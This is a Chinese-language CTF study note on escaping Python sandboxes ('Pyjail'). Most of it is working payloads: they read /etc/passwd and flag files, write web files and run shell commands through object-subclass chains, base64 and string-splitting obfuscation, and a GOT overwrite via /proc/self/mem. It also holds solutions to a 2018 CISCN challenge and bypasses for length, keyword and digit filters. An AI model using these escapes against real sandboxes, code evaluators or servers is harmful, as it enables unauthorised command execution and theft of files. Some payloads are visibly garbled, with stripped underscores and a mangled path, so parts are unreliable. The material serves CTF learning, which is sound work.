所谓沙箱逃逸就是绕过模拟的python终端,最终实现命令执行
Pyjail基础解法,payload构造
导入模块
os.system() os.popen()
commands.getstatusoutput() commands.getoutput()
commands.getstatus()
subprocess.call(command, shell=True) subprocess.Popen(command, shell=True)
pty.spawn()
基础payload
print(open('/flag').read())
__import__('os').system('sh')
#读文件
().__class__.__bases__[0].__subclasses__()[40]('\etc\password').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input','w').write('')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')
其他的危险函数举例
execfile 文件执行
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'
timeit
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
eval和evec
eval('__import__("os").system("dir")')
eval(expression[, globals[, locals]])
exec(expression[, globals[, locals]])
'''
用法基本相似,expression执行表达式,
globals全局变量(必须字典),
locals局部变量(任意mapping object,一般是字典)
不同点:
eval将表达式计算出来,结果返回,不会影响当前环境
exec将表达式作为py语句运行,可以进行赋值等操作(题目中不常见)
eval 与 exec 的区别再于 exec 允许 \n 和 ; 进行换行,而 eval 不允许。并且 exec 不会将结果输出出来,而 eval 会。'''
使globals,locals为空字典访问不到全局变量和局部变量,从而构造沙箱
ast.literal_eval更加的安全,因此题目碰到这个基本就不是沙箱逃逸了
正常的 Python 沙箱会以黑名单的形式禁止使用一些模块如 os 或以白名单的形式只允许用户使用沙箱提供的模块,用以阻止用户的危险操作。而如何进一步逃逸沙箱就是我们的重点研究内容。
当我们不能导入模块,或者想要导入的模块被禁,那么我们只能寻求 Python 本身内置函数可以通过**dir(builtins)**来获取内置函数列表
在 Python 中,不引入直接使用的内置函数被成为 builtin 函数,随着 builtin 这个模块自动引入到环境中
我们可以通过 dict 引入我们想要引入的模块。dict 的作用是列出一个模组 / 类 / 对象 下面 所有的属性和函数eg:m.dict[“x”]
举个 实例
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
这里的base64编码分别是__import__和os
如果一些 内敛函数在 builtins 删除 ,我们可以通过 reload(builtins) 重新载入获取一个完整的 builtins
创建对象来引用
我们有常见的两个方法:
().__class__.__bases__[0]
''.__class__.__mro__[2]
常见 payload
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
间接引用
在有些题目中,如2018 年国赛的 Python 沙盒题目上,import 其实整个是被阉割了。但是在 Python 中,原生的 import 是存在被引用的,只要我们找到相关对象引用就可以进一步获取我们想要的内容,具体下面的会讲述到
write 修改 got 表
实际上是一个 /proc/self/mem 的内存操作方法 /proc/self/mem 是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到 Python 一些函数的偏移,如 system ,我们便可以通过覆写 got 表达到 getshell 的目的。
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))
第一个地址是 system 的偏移,第二个是 fopen 的偏移,我们可以通过 objdump 获取相关信息 ,这里并没有搞懂放个例子便于以后理解本质
eg:
2018 ciscn 全国大学生信息安全竞赛中的 Python 沙箱逃逸。 我们可以通过
print ().class.bases[0].subclasses()40.read() 获取题目源码,然后可以进一步分析,以下提供三种逃逸方法。
1.创建对象并利用 Python 操作字符串的特性
x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s /home/ctf')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')
2.劫持 got 表 getshell
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /home/ctf/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))
3.寻找 import 的间接引用 ¶
在不断的 dir 过程中,发现 closure 这个 object 保存了参数,可以引用原生的 import
print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')
Pyjail绕过方法
基于长度限制的绕过
help
输入help(),这里字符串长度6会进入正常调用eval函数,在help交互式下,输入任意模块名称得该模块的帮助文档,如sys,在Linux中,呈现帮助文档时,实际调用系统的less或more命令,利用这两个命令执行本地命令特性获取shell,继续按#!,执行外部命令sh即可(!ls,!cat flag)
breakpoint()
该函数在程序执行任何位置调用,当程序执行到这个位置时,它将暂停并打开交互式调试器 list input_data = import(‘os’).system(‘sh’)
多次交互进行拼接
“_”函数字符拼接
‘00’
_+’ aaa’
+’ bbb’ eval()
基于字符串匹配过滤的绕过
所有数字被禁用
函数返回
0:int(bool([])),Flase,len([]),any(())
1:int(bool([“”])),True,all(()),int(list(dict(aɔ=())).pop()).pop())
字符串取整
len(repr(True)),len(repr(bytearray))
len+dict+list
0->len([])
2->len(list(dict(aa=()))[len([])])
3->len(list(dict(aaa=()))[len([])])
bytes&type
bytes = type(str(1).encode())
以system(“cat flag”)为例: [].class.mro[-1].subclasses()[-4].init.globals(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()
以system(“ls”)为例: [].class.mro[-1].subclasses()[-4].init.globals(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()属性名,过滤class,import等
getattr函数
获取对象属性和方法,可以代替.
__getattribute__函数
__getattr__函数
__globals__替换
mro,bases,__base__互换
基于多行限制的绕过
exec
eval(“exec(‘import(“os”)\nprint(1)’)”)
compile
eval(‘’’eval(compile(‘print(“hello world”);print(“heyy”)’,’’,’exec’))’’’)
海象表达式
eval(‘[a:=import(“os”),b:=a.system(“id”)]’)
基于模块删除绕过
基于继承链获取
所有类的基类都是object
查看变量所属的类(().class)
根据变量的类得到其所属的类(().class.bases)
反查object类的子类组成列表(().class.bases[0].subclasses())
(().class.base.subclasses())
获取当前Python环境中所有对象的子类列表
[].class.base.subclasses()[40]获得第40个子类
python2与python3差异
python2中file类可以直接用来读取文件
[].class.bases[0].subclasses()40.read()
python3中file类已经没有了,用读取文件
读取文件
{{().class.bases[0].subclasses()[79]"get_data"}}
{{().class.bases[0].subclasses()79.communicate()[0]}}
内建函数eval函数执行命令
{{".class.bases[0].subclasses()[166].init.globals__['builtins']'eval'}}
几个含有eval函数的类:
warings.catch_warnings
WaringMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
unicode绕过
Python3开始支持非ASCII字符的标识符,也就是说,可以使用Unicode字符作为Python变量名,函数名等。python在解析代码时,可以使用Unicode Normalization From KC(NTKC)规范化算法,将一些视觉上相似的Unicode字符统一为一个标准化
input
python2中,input函数从标准输入接收输入并自动eval求值,返回所求值;raw_input函数从标准输入接收输入,返回输入字符串
python3中,input函数从标准输入接收输入返回输入字符串
python2 input() = python2 eval(raw_input()) = python3 eval(input())
对于python2的input,相当于存在命令执行,可以rce
获取全局变量的方法
函数利用:vars(),globals()
help():进入help,查__main__